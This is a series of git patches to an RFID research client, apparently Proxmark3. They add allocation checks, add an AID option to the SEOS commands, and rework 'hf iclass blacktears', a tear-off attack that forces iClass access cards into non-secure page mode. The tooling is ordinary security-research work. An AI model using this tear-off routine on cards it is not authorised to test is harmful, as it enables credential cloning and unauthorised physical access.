iclass_set_last_known_card(card); free(card); res = PM3_SUCCESS; - } else { - PrintAndLogEx(WARNING, "Failed to allocate memory"); - res = PM3_EMALLOC; } } } while (loop && (kbd_enter_pressed() == false)); @@ -1238,6 +1245,7 @@ static int CmdHFiClassELoad(const char *Cmd) { uint8_t *newdump = realloc(dump, bytes_read); if (newdump == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(dump); return PM3_EMALLOC; } else { @@ -1358,7 +1366,6 @@ static int CmdHFiClassEView(const char *Cmd) { PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } - memset(dump, 0, bytes); PrintAndLogEx(INFO, "downloading from emulator memory"); if (!GetFromDevice(BIG_BUF_EML, dump, bytes, 0, NULL, 0, NULL, 2500, false)) { @@ -1742,7 +1749,7 @@ static int CmdHFiClassDecrypt(const char *Cmd) { // use the first block (CSN) for filename char *fptr = calloc(50, sizeof(uint8_t)); - if (fptr == false) { + if (fptr == NULL) { PrintAndLogEx(WARNING, "Failed to allocate memory"); free(decrypted); return PM3_EMALLOC; @@ -2798,6 +2805,12 @@ static int CmdHFiClassRestore(const char *Cmd) { } iclass_restore_req_t *payload = calloc(1, payload_size); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + free(dump); + return PM3_EMALLOC; + } + payload->req.use_raw = rawkey; payload->req.use_elite = elite; payload->req.use_credit_key = use_credit_key; @@ -5307,8 +5320,15 @@ static int iclass_recover(uint8_t key[8], uint32_t index_start, uint32_t loop, u } while (repeat == true) { + uint32_t payload_size = sizeof(iclass_recover_req_t); + iclass_recover_req_t *payload = calloc(1, payload_size); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + break; + } + payload->req.use_raw = true; payload->req.use_elite = false; payload->req.use_credit_key = false; @@ -5357,8 +5377,10 @@ static int iclass_recover(uint8_t key[8], uint32_t index_start, uint32_t loop, u repeat = false; } } + free(payload); - if (!repeat) { + + if (repeat == false) { return resp.status; } } @@ -6225,6 +6247,11 @@ static void shave(uint8_t *data, uint8_t len) { } static void generate_rev(uint8_t *data, uint8_t len) { uint8_t *key = calloc(len, sizeof(uint8_t)); + if (key == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return; + } + PrintAndLogEx(SUCCESS, "permuted key..... %s", sprint_hex_inrow(data, len)); permute_rev(data, len, key); PrintAndLogEx(SUCCESS, "unpermuted key... %s", sprint_hex_inrow(key, len)); @@ -6234,7 +6261,17 @@ static void generate_rev(uint8_t *data, uint8_t len) { } static void generate(uint8_t *data, uint8_t len) { uint8_t *key = calloc(len, sizeof(uint8_t)); + if (key == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return; + } + uint8_t *pkey = calloc(len, sizeof(uint8_t)); + if (pkey == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return; + } + PrintAndLogEx(SUCCESS, "input key...... %s", sprint_hex_inrow(data, len)); permute(data, len, pkey); PrintAndLogEx(SUCCESS, "permuted key... %s", sprint_hex_inrow(pkey, len)); From 570fb542a04981180678a3203a1362b845e5ed81 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 20 Mar 2026 14:12:55 +0700 Subject: [PATCH 130/162] fix logic , thanks @atk / Antiklesys --- client/src/cmdhficlass.c | 133 ++++++++++++++------------------------- 1 file changed, 48 insertions(+), 85 deletions(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 6c446c0bb..9296b4612 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -3770,10 +3770,7 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { CLIGetHexWithReturn(ctx, 1, key, &key_len); int key_nr = arg_get_int_def(ctx, 2, -1); - int blockno = 1; - - uint8_t data[8] = {0x12, 0xFF, 0xFE, 0xFF, 0x7F, 0x1F, 0xFF, 0x2C}; // tearoff payload - uint8_t mac[4] = {0}; + bool use_credit_key = arg_get_lit(ctx, 3); // Start at 1700, end at 1900. // 5 steps increments @@ -3787,18 +3784,18 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { uint8_t otp[2] = {0}; CLIGetHexWithReturn(ctx, 7, otp, &otp_len); + bool rawkey = arg_get_lit(ctx, 8); bool verbose = arg_get_lit(ctx, 9); bool shallow_mod = arg_get_lit(ctx, 10); + CLIParserFree(ctx); + bool elite = false; - bool rawkey = arg_get_lit(ctx, 8); - bool use_replay = false; //not implemented in this mode + bool use_replay = false; // not implemented in this mode bool read_auth = false; - bool use_credit_key = arg_get_lit(ctx, 3); + int tearoff_loop = 1; int tearoff_sleep = 0; - CLIParserFree(ctx); - // Sanity checks if (key_len > 0 && key_nr >= 0) { PrintAndLogEx(ERR, "Please specify key or index, not both"); @@ -3807,7 +3804,7 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { bool auth = false; - if (key_len > 0) { + if (key_len) { auth = true; if (key_len != 8) { @@ -3825,19 +3822,17 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { PrintAndLogEx(SUCCESS, "Using key[%d] " _GREEN_("%s"), key_nr, sprint_hex_inrow(iClass_Key_Table[key_nr], 8)); } else { PrintAndLogEx(ERR, "Key number is invalid"); + PrintAndLogEx(NORMAL, ""); return PM3_EINVARG; } } else { PrintAndLogEx(SUCCESS, "Using Key... " _GREEN_("%s"), sprint_hex_inrow(key, sizeof(key))); } - if (otp_len > 0) { - if (otp_len != 2) { - PrintAndLogEx(ERR, "OTP is incorrect length"); - return PM3_EINVARG; - } - memcpy(&data[1], otp, 2); //update the otp in the tearoff data value + if (otp_len && otp_len != 2) { + PrintAndLogEx(ERR, "OTP is incorrect length"); PrintAndLogEx(NORMAL, ""); + return PM3_EINVARG; } int loop_count = 0; @@ -3892,8 +3887,8 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { int fail_tolerance = 1; if (memcmp(r->header.hdr.csn + 4, "\xFE\xFF\x12\xE0", 4) == 0) { PrintAndLogEx(SUCCESS, "New silicon detected ( %s )", _GREEN_("ok")); - PrintAndLogEx(INFO, "----------------------------------------"); - PrintAndLogEx(SUCCESS, "CSN.................... %s", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); + PrintAndLogEx(INFO, "---------------------------------------"); + PrintAndLogEx(SUCCESS, "CSN................... %s", sprint_hex_inrow(r->header.hdr.csn, PICOPASS_BLOCK_SIZE)); } else { PrintAndLogEx(ERR, "Old silicon detected ( %s )", _RED_("fail")); PrintAndLogEx(INFO, "Unsupported for this operation"); @@ -3916,14 +3911,12 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { goto out; } + #define TEAR_WRITE_BYTE 0x2C #define TEAR_INITAL 0x3C - #define TEAR_PERSO_ENABLED 0xBC - #define TEAR_PERSO_STABLE 0xBE - #define TEAR_PERSO_STABLE2 0x9C #define TEAR_UNLOCKED 0xAC - #define TEAR_IS_PERSO_SET(x) ((x) & 0x80 == 1) - #define TEAR_BAD(x) ((x) & 0x1 == 0) + #define TEAR_IS_PERSO_SET(x) (((x) & 0x80) == 0x80) + #define TEAR_BAD(x) (((x) & 0x01) == 0) // perform initial read here, repeat if failed or 00s @@ -3934,6 +3927,8 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { bool erase_phase = false; read_auth = false; + + int blockno = 1; int res_orig = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read_orig, false); while (reread) { @@ -3951,12 +3946,18 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { } } + uint8_t data[8] = { 0 }; // tearoff payload memcpy(data, data_read_orig, sizeof(data)); - data[7] = 0x2C; + data[7] = TEAR_WRITE_BYTE; - PrintAndLogEx(SUCCESS, "Original block data.... " _CYAN_("%s"), sprint_hex_inrow(data_read_orig, sizeof(data_read_orig))); - PrintAndLogEx(SUCCESS, "New data to write...... " _YELLOW_("%s"), sprint_hex_inrow(data, sizeof(data))); - PrintAndLogEx(SUCCESS, "Target block........... " _YELLOW_("%u") " / " _YELLOW_("0x%02x"), blockno, blockno); + // add the modified OTP if needed + if (otp_len) { + memcpy(data + 1, otp, sizeof(otp)); // update the otp in the tearoff data value + } + + PrintAndLogEx(SUCCESS, "Original block data... " _CYAN_("%s"), sprint_hex_inrow(data_read_orig, sizeof(data_read_orig))); + PrintAndLogEx(SUCCESS, "New data to write..... " _YELLOW_("%s"), sprint_hex_inrow(data, sizeof(data))); + PrintAndLogEx(SUCCESS, "Target block.......... " _YELLOW_("%u") " / " _YELLOW_("0x%02x"), blockno, blockno); // turn off Device side debug messages uint8_t dbg_curr = DBG_NONE; @@ -3971,13 +3972,15 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { // clear trace log SendCommandNG(CMD_BUFF_CLEAR, NULL, 0); - PrintAndLogEx(INFO, "----------------------------------------"); + PrintAndLogEx(INFO, "---------------------------------------"); PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "Press " _GREEN_("") " to exit"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "--------------- " _CYAN_("start") " ------------------\n"); + PrintAndLogEx(INFO, "--------------- " _CYAN_("start") " -----------------\n"); // Main loop + uint8_t mac[4] = {0}; + while ((tearoff_start <= tearoff_end) && (read_ok == false)) { if (kbd_enter_pressed()) { @@ -4097,7 +4100,9 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { bool goto_out = false; - if (data_read[0] != data_read_orig[0]) { + // App limit became SMALLER :( + if (data_read[0] > data_read_orig[0]) { + PrintAndLogEx(NORMAL, ""); PrintAndLogEx(SUCCESS, "Application limit changed, from "_YELLOW_("%u")" to "_YELLOW_("%u"), data_read_orig[0], data_read[0]); isok = PM3_SUCCESS; @@ -4205,7 +4210,6 @@ out: read_auth = false; uint8_t data_read[8]= {0}; - uint8_t data_verify[8] = {0}; int res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_read, false); if (res != PM3_SUCCESS) { @@ -4214,41 +4218,15 @@ out: uint8_t b7 = data_read[7]; - switch(b7) { + if ( b7 == TEAR_INITAL) { + PrintAndLogEx(INFO, _YELLOW_("Fuses unchanged. Try again if the OTP is unchanged")); + // check for OTP change? + } else if ( b7 == TEAR_UNLOCKED) { + // don't do anything as this is ok + PrintAndLogEx(SUCCESS, "Detected fuse: " _GREEN_("0x%02X")" _non secure memory_ ( %s )", data_read[7], _GREEN_("ok")); - case TEAR_PERSO_ENABLED: { - - // stabilize 0xBC with write operation to 0xBE - PrintAndLogEx(SUCCESS, "Detected fuse: " _GREEN_("0x%02X") " stabilizing to: " _YELLOW_("0xBE") NOLF, data_read[7]); - - memcpy(data, data_read, PICOPASS_BLOCK_SIZE); - data[7] = TEAR_PERSO_STABLE; - - iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); - - // verify if it was a succesful write - res = iclass_read_block_ex(key, blockno, keyType, elite, rawkey, use_replay, verbose, read_auth, shallow_mod, data_verify, false); - - if (data_verify[7] == TEAR_PERSO_STABLE) { - - PrintAndLogEx(SUCCESS, " ( %s )", _GREEN_("ok")); - PrintAndLogEx(SUCCESS, "Detected fuse: " _GREEN_("0x%02X") " set non-secure memory: " _YELLOW_("0xAC"), data_read[7]); - - memcpy(data, data_verify, PICOPASS_BLOCK_SIZE); - data[7] = TEAR_UNLOCKED; - - // set non-secure memory with 0xAC, in this state it will always succeed - iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); - - iclass_read_interesting_data(key, keyType, elite, rawkey, use_replay, verbose, shallow_mod); - } else { - PrintAndLogEx(FAILED, " ( %s )", _RED_("fail")); - } - break; - - } - case TEAR_PERSO_STABLE: - case TEAR_PERSO_STABLE2: { + iclass_read_interesting_data(key, keyType, elite, rawkey, use_replay, verbose, shallow_mod); + } else if (TEAR_IS_PERSO_SET(b7)) { PrintAndLogEx(SUCCESS, "Detected fuse: " _GREEN_("0x%02X") " set non-secure memory: " _YELLOW_("0xAC"), data_read[7]); @@ -4259,27 +4237,12 @@ out: iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); iclass_read_interesting_data(key, keyType, elite, rawkey, use_replay, verbose, shallow_mod); - break; - } - case TEAR_UNLOCKED: { - - // don't do anything as this is ok - PrintAndLogEx(SUCCESS, "Detected fuse: " _GREEN_("0x%02X")" _non secure memory_ ( %s )", data_read[7], _GREEN_("ok")); - - iclass_read_interesting_data(key, keyType, elite, rawkey, use_replay, verbose, shallow_mod); - break; - } - case TEAR_INITAL: { - PrintAndLogEx(INFO, _YELLOW_("Fuses unchanged. Try again if the OTP is unchanged")); - // check for OTP change? - break; - } - default: { - PrintAndLogEx(INFO, _YELLOW_("Did not detect " _YELLOW_("0xBC") " or " _YELLOW_("0xBE") " or " _YELLOW_("0x9C") " fuse, might need manual intervention!")); - break; - } + } else if (TEAR_BAD(b7)) { + PrintAndLogEx(WARNING, "Bad fuse state detected: " _RED_("0x%02X") ", cannot proceed", b7); + return PM3_EFAILED; + } else { + PrintAndLogEx(INFO, _YELLOW_("Did not detect " _YELLOW_("0xBC") " or " _YELLOW_("0xBE") " or " _YELLOW_("0x9C") " fuse, might need manual intervention!")); } - return isok; } From ba5812a775584bacff69bb42c2b3b7ae601bafc0 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 20 Mar 2026 14:30:08 +0700 Subject: [PATCH 131/162] check crypto0,1 bits if its in NON_SECURE_MODE, instead of a too strict good value of 0x2C --- client/src/cmdhficlass.c | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 9296b4612..d5fd7569d 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -3911,12 +3911,13 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { goto out; } - #define TEAR_WRITE_BYTE 0x2C - #define TEAR_INITAL 0x3C - #define TEAR_UNLOCKED 0xAC + #define TEAR_NON_SECURE_MODE 0x2C + #define TEAR_INITAL 0x3C + #define TEAR_PERSO 0xAC - #define TEAR_IS_PERSO_SET(x) (((x) & 0x80) == 0x80) - #define TEAR_BAD(x) (((x) & 0x01) == 0) + #define TEAR_IS_PERSO_SET(x) (((x) & 0x80) == 0x80) + #define TEAR_IS_NONSECURE_SET(x) (((x) % 0x18) == 0x18) + #define TEAR_BAD(x) (((x) & 0x01) == 0) // perform initial read here, repeat if failed or 00s @@ -3948,7 +3949,7 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { uint8_t data[8] = { 0 }; // tearoff payload memcpy(data, data_read_orig, sizeof(data)); - data[7] = TEAR_WRITE_BYTE; + data[7] = TEAR_NON_SECURE_MODE; // add the modified OTP if needed if (otp_len) { @@ -4221,7 +4222,7 @@ out: if ( b7 == TEAR_INITAL) { PrintAndLogEx(INFO, _YELLOW_("Fuses unchanged. Try again if the OTP is unchanged")); // check for OTP change? - } else if ( b7 == TEAR_UNLOCKED) { + } else if (TEAR_IS_NONSECURE_SET(b7)) { // don't do anything as this is ok PrintAndLogEx(SUCCESS, "Detected fuse: " _GREEN_("0x%02X")" _non secure memory_ ( %s )", data_read[7], _GREEN_("ok")); @@ -4231,7 +4232,7 @@ out: PrintAndLogEx(SUCCESS, "Detected fuse: " _GREEN_("0x%02X") " set non-secure memory: " _YELLOW_("0xAC"), data_read[7]); memcpy(data, data_read, PICOPASS_BLOCK_SIZE); - data[7] = TEAR_UNLOCKED; + data[7] = TEAR_NON_SECURE_MODE; // set non-secure memory with 0xAC, in this state it will always succeed iclass_write_block(blockno, data, mac, key, use_credit_key, elite, rawkey, use_replay, false, auth, shallow_mod); From 55db4dc6f2e2a46adb4d568d17c959360a651c96 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 20 Mar 2026 14:34:04 +0700 Subject: [PATCH 132/162] correct check if non secure mode is enabled --- client/src/cmdhficlass.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index d5fd7569d..8d86d455d 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -3916,7 +3916,7 @@ static int CmdHFiClass_BlackTears(const char *Cmd) { #define TEAR_PERSO 0xAC #define TEAR_IS_PERSO_SET(x) (((x) & 0x80) == 0x80) - #define TEAR_IS_NONSECURE_SET(x) (((x) % 0x18) == 0x18) + #define TEAR_IS_NONSECURE_SET(x) ((((x) & 0x18) >> 3) == PICOPASS_NON_SECURE_PAGEMODE) #define TEAR_BAD(x) (((x) & 0x01) == 0) // perform initial read here, repeat if failed or 00s From 4d5acfb90705e1bbd4ca66dcb1c0690d6da522a5 Mon Sep 17 00:00:00 2001 From: Cameron <9978550+NRException@users.noreply.github.com> Date: Fri, 20 Mar 2026 15:50:13 +0000 Subject: [PATCH 133/162] fix broken logfile location in Paxton_clone.lua fix broken logfile location in Paxton_clone.lua - MacOS doesn't natively support -printf for the gnu "find" utility. This command seems to work just find without the printf formatting. Signed-off-by: Cameron <9978550+NRException@users.noreply.github.com> --- client/luascripts/paxton_clone.lua | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/luascripts/paxton_clone.lua b/client/luascripts/paxton_clone.lua index 5e9076c9f..7c538181d 100644 --- a/client/luascripts/paxton_clone.lua +++ b/client/luascripts/paxton_clone.lua @@ -10,7 +10,7 @@ local logfilecmd if package.config:sub(1,1) == "\\" then logfilecmd = 'dir /a-d /o-d /tw /b/s "' .. dir .. '" 2>nul:' else - logfilecmd = 'find "' .. dir .. '" -type f -printf "%T@ %p\\n" | sort -nr | cut -d" " -f2-' + logfilecmd = 'find "' .. dir .. '" -type f | sort -nr | cut -d" " -f2-' end local logfile = (io.popen(logfilecmd):read("*a"):match("%C+")) From 58dcfb1dbcabb1bd7dbf0776b8597377df995ebc Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Fri, 20 Mar 2026 20:16:44 +0200 Subject: [PATCH 134/162] Add '--aid' param to 'hf seos' commands --- CHANGELOG.md | 1 + client/src/cmdhfseos.c | 197 ++++++++++++++++++++++++----------------- 2 files changed, 119 insertions(+), 79 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 753cb471a..19799efcd 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,7 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added `--aid` parameter to `hf seos` commands (@kormax) - Added `hf iclass blacktears` command to perform an automated tearoff of block 1 to set non-secure page mode(@antiklesys) - Changed wiegand encoding to use shared helpers and have unified parameters (--raw, --bin, --new, --wiegand, etc.) (@cindersocket) - Added `hf gst read` command (@kormax) diff --git a/client/src/cmdhfseos.c b/client/src/cmdhfseos.c index 202a12368..6ef450eb1 100644 --- a/client/src/cmdhfseos.c +++ b/client/src/cmdhfseos.c @@ -44,6 +44,7 @@ static uint8_t zeros[16] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 #define MAX_DIVERSIFIER_LEN 16 #define MAX_OID_LEN 32 +#define MAX_SEOS_AID_LEN 16 static int CmdHelp(const char *Cmd); @@ -99,6 +100,19 @@ static const known_algo_t known_algorithm_map[] = { {9, "AES-128_CBC_MODE"}, }; +static const char *known_seos_aids[] = { + "A0000004400001010001", + "A000000382002D000101", +}; + +static int seos_get_custom_aid(CLIParserContext *ctx, int arg_index, uint8_t *aid, int *aid_len) { + int res = CLIParamHexToBuf(arg_get_str(ctx, arg_index), aid, MAX_SEOS_AID_LEN, aid_len); + if (res != PM3_SUCCESS) { + return PM3_ESOFT; + } + return res; +} + static int create_cmac(uint8_t *key, uint8_t *input, uint8_t *out, int input_len, int output_len, int encryption_algorithm) { uint8_t iv[16] = {0x00}; uint8_t mac[16] = {0x00}; @@ -1088,73 +1102,61 @@ static int seos_mutual_auth(uint8_t *adfOID, size_t adfoid_len, uint8_t *randomI return PM3_SUCCESS; }; -static int seos_aid_select(void) { - // Working 100%, pulls from live card - bool activate_field = true; - bool keep_field_on = true; +static int seos_try_aid_select(const uint8_t *aid, int aid_len, bool activate_field, bool keep_field_on) { uint8_t response[PM3_CMD_DATA_SIZE]; int resplen = 0; - // --------------- Select AID for SEOS Card ---------------- - typedef struct { - const char *name; - const char *value; - } seos_aid_t; + uint8_t aSELECT_AID[5 + MAX_SEOS_AID_LEN + 1] = {0}; + aSELECT_AID[0] = 0x00; + aSELECT_AID[1] = 0xA4; + aSELECT_AID[2] = 0x04; + aSELECT_AID[3] = 0x00; + aSELECT_AID[4] = aid_len; + memcpy(aSELECT_AID + 5, aid, aid_len); + aSELECT_AID[5 + aid_len] = 0x00; - static const seos_aid_t known_AID_map[] = { - {"STANDARD_SEOS", "A00000044000010100010"}, - {"MOBILE_SEOS_ADMIN_CARD", "A000000382002D0001010"}, - }; - - int i; - int res = PM3_ESOFT; - //PrintAndLogEx(INFO, "--- " _CYAN_("AID Selection") " ---------------------------"); - for (i = 0; i < ARRAYLEN(known_AID_map); i++) { - - const char *selectedAID = known_AID_map[i].value; - - // Select command prefixed with a 00 - const char *prefix = "00A404"; - uint16_t aidlen = strlen(selectedAID) >> 1; - - char aidlenHex[5]; - snprintf(aidlenHex, sizeof(aidlenHex), "%04X", aidlen); - - const char *suffix = "0"; - char combinedString[100]; - - snprintf(combinedString, sizeof(combinedString), "%s%s%s%s", prefix, aidlenHex, selectedAID, suffix); - //PrintAndLogEx(SUCCESS, "AID Selected: " _YELLOW_("%s"), known_AID_map[i].name); - //PrintAndLogEx(SUCCESS, "AID Select Command: " _YELLOW_("%s"), combinedString); - - // --------------- Select AID for SEOS Card ---------------- - uint8_t aSELECT_AID[80]; - int aSELECT_AID_n = 0; - param_gethex_to_eol(combinedString, 0, aSELECT_AID, sizeof(aSELECT_AID), &aSELECT_AID_n); - res = ExchangeAPDU14a(aSELECT_AID, aSELECT_AID_n, activate_field, keep_field_on, response, sizeof(response), &resplen); - if (res != PM3_SUCCESS) { - DropField(); - continue; - } - - if (resplen < 2) { - DropField(); - continue; - } - - uint16_t sw = get_sw(response, resplen); - if (sw != ISO7816_OK) { - PrintAndLogEx(ERR, "Selecting SEOS applet aid failed (%04x - %s).", sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); - DropField(); - continue; - } - - // if we made it here, its a success and we break :) - break; + int res = ExchangeAPDU14a(aSELECT_AID, 6 + aid_len, activate_field, keep_field_on, response, sizeof(response), &resplen); + if (res != PM3_SUCCESS) { + DropField(); + return res; } - if (i == ARRAYLEN(known_AID_map)) { + + if (resplen < 2) { + PrintAndLogEx(ERR, "Selecting SEOS applet aid %s failed (short response).", sprint_hex_inrow(aid, aid_len)); + DropField(); + return PM3_EWRONGANSWER; + } + + uint16_t sw = get_sw(response, resplen); + if (sw != ISO7816_OK) { + PrintAndLogEx(ERR, "Selecting SEOS applet aid %s failed (%04x - %s).", sprint_hex_inrow(aid, aid_len), sw, GetAPDUCodeDescription(sw >> 8, sw & 0xff)); + DropField(); return PM3_ESOFT; } + + return PM3_SUCCESS; +} + +static int seos_aid_select(const uint8_t *custom_aid, int custom_aid_len) { + // Working 100%, pulls from live card + bool activate_field = true; + bool keep_field_on = true; + + if (custom_aid_len > 0) { + return seos_try_aid_select(custom_aid, custom_aid_len, activate_field, keep_field_on); + } + + int res = PM3_ESOFT; + for (size_t i = 0; i < ARRAYLEN(known_seos_aids); i++) { + uint8_t aid[MAX_SEOS_AID_LEN] = {0}; + int aid_len = 0; + param_gethex_to_eol(known_seos_aids[i], 0, aid, sizeof(aid), &aid_len); + res = seos_try_aid_select(aid, aid_len, activate_field, keep_field_on); + if (res == PM3_SUCCESS) { + return res; + } + } + return res; }; @@ -1418,8 +1420,8 @@ static int seos_gdf_select(int key_index) { return PM3_SUCCESS; }; -static int seos_select(void) { - int res = seos_aid_select(); +static int seos_select(const uint8_t *aid, int aid_len) { + int res = seos_aid_select(aid, aid_len); if (res != PM3_SUCCESS) { DropField(); return res; @@ -1432,8 +1434,8 @@ static int seos_select(void) { return res; } -static int seos_pacs(char *oid, int oid_len, uint8_t *data_tag, int data_tag_len, int key_index) { - int res = seos_aid_select(); +static int seos_pacs(char *oid, int oid_len, uint8_t *data_tag, int data_tag_len, int key_index, const uint8_t *aid, int aid_len) { + int res = seos_aid_select(aid, aid_len); if (res != PM3_SUCCESS) { DropField(); return res; @@ -1444,8 +1446,8 @@ static int seos_pacs(char *oid, int oid_len, uint8_t *data_tag, int data_tag_len return res; } -static int seos_write(char *oid, int oid_len, uint8_t *data_tag, int data_tag_len, int key_index, uint8_t *write, int write_len) { - int res = seos_aid_select(); +static int seos_write(char *oid, int oid_len, uint8_t *data_tag, int data_tag_len, int key_index, uint8_t *write, int write_len, const uint8_t *aid, int aid_len) { + int res = seos_aid_select(aid, aid_len); if (res != PM3_SUCCESS) { DropField(); return res; @@ -1456,8 +1458,8 @@ static int seos_write(char *oid, int oid_len, uint8_t *data_tag, int data_tag_le return res; } -static int seos_global_df(int key_index) { - int res = seos_aid_select(); +static int seos_global_df(int key_index, const uint8_t *aid, int aid_len) { + int res = seos_aid_select(aid, aid_len); if (res == PM3_SUCCESS) { res = seos_gdf_select(key_index); } @@ -1526,7 +1528,7 @@ static int seos_load_keys(char *filename) { } int infoSeos(bool verbose) { - return seos_select(); + return seos_select(NULL, 0); } static int CmdHfSeosInfo(const char *Cmd) { @@ -1536,15 +1538,24 @@ static int CmdHfSeosInfo(const char *Cmd) { "- If the card is a SEOS card\n" "- Are static RND.ICC keys used (can detect SEOS default keyset)\n" "- What encryption and hashing algorithm is use\n", - "hf seos info" + "hf seos info\n" + "hf seos info --aid A0000004400001010001" ); void *argtable[] = { arg_param_begin, + arg_str0(NULL, "aid", "", "Use a custom SEOS AID"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); + + uint8_t aid[MAX_SEOS_AID_LEN] = {0}; + int aid_len = 0; + int res = seos_get_custom_aid(ctx, 1, aid, &aid_len); CLIParserFree(ctx); - return infoSeos(true); + if (res != PM3_SUCCESS) { + return res; + } + return seos_select(aid, aid_len); } static int CmdHfSeosGDF(const char *Cmd) { @@ -1553,20 +1564,28 @@ static int CmdHfSeosGDF(const char *Cmd) { "Get Global Data File (GDF) from SEOS card\n\n" "By default:\n" " - Key Index: 3\n", - "hf seos gdf" - "hf seos gdf --ki 3" + "hf seos gdf\n" + "hf seos gdf --ki 3\n" + "hf seos gdf --aid A0000004400001010001" ); void *argtable[] = { arg_param_begin, arg_int0(NULL, "ki", "", "Specify key index to set key in memory"), + arg_str0(NULL, "aid", "", "Use a custom SEOS AID"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); int key_index = arg_get_int_def(ctx, 1, 3); + uint8_t aid[MAX_SEOS_AID_LEN] = {0}; + int aid_len = 0; + int res = seos_get_custom_aid(ctx, 2, aid, &aid_len); CLIParserFree(ctx); - return seos_global_df(key_index); + if (res != PM3_SUCCESS) { + return res; + } + return seos_global_df(key_index, aid, aid_len); } static int CmdHfSeosPACS(const char *Cmd) { @@ -1585,6 +1604,7 @@ static int CmdHfSeosPACS(const char *Cmd) { arg_param_begin, arg_str0("o", "oid", "", "<0-100> hex bytes for OID (Default: 2B0601040181E438010102011801010202)"), arg_int0(NULL, "ki", "", "Specify key index to set key in memory"), + arg_str0(NULL, "aid", "", "Use a custom SEOS AID"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -1597,8 +1617,14 @@ static int CmdHfSeosPACS(const char *Cmd) { CLIGetHexWithReturn(ctx, 1, oid_hex, &oid_len); int key_index = arg_get_int_def(ctx, 2, 0); + uint8_t aid[MAX_SEOS_AID_LEN] = {0}; + int aid_len = 0; + int res = seos_get_custom_aid(ctx, 3, aid, &aid_len); CLIParserFree(ctx); + if (res != PM3_SUCCESS) { + return res; + } // Fall back to default OID if (oid_len == 0) { @@ -1617,7 +1643,7 @@ static int CmdHfSeosPACS(const char *Cmd) { return PM3_ESOFT; } - return seos_pacs((char *)oid, oid_len, data_tag, data_tag_len, key_index); + return seos_pacs((char *)oid, oid_len, data_tag, data_tag_len, key_index, aid, aid_len); } static int CmdHfSeosWrite(const char *Cmd) { @@ -1636,6 +1662,7 @@ static int CmdHfSeosWrite(const char *Cmd) { arg_param_begin, arg_str0("o", "oid", "", "<0-100> hex bytes for OID (Default: 2B0601040181E438010102011801010202)"), arg_int0(NULL, "ki", "", "Specify key index to set key in memory"), + arg_str0(NULL, "aid", "", "Use a custom SEOS AID"), arg_str0("d", "data", "", "<0-128> hex bytes for data (Must be valid BER-TLV)"), arg_param_end }; @@ -1649,12 +1676,18 @@ static int CmdHfSeosWrite(const char *Cmd) { CLIGetHexWithReturn(ctx, 1, oid_hex, &oid_len); int key_index = arg_get_int_def(ctx, 2, 2); + uint8_t aid[MAX_SEOS_AID_LEN] = {0}; + int aid_len = 0; + int res = seos_get_custom_aid(ctx, 3, aid, &aid_len); int data_len = 0; uint8_t data[256] = {}; - CLIGetHexWithReturn(ctx, 3, data, &data_len); + CLIGetHexWithReturn(ctx, 4, data, &data_len); CLIParserFree(ctx); + if (res != PM3_SUCCESS) { + return res; + } // Fall back to default OID if (oid_len == 0) { @@ -1678,7 +1711,7 @@ static int CmdHfSeosWrite(const char *Cmd) { return PM3_ESOFT; } - return seos_write((char *)oid, oid_len, data_tag, data_tag_len, key_index, data, data_len); + return seos_write((char *)oid, oid_len, data_tag, data_tag_len, key_index, 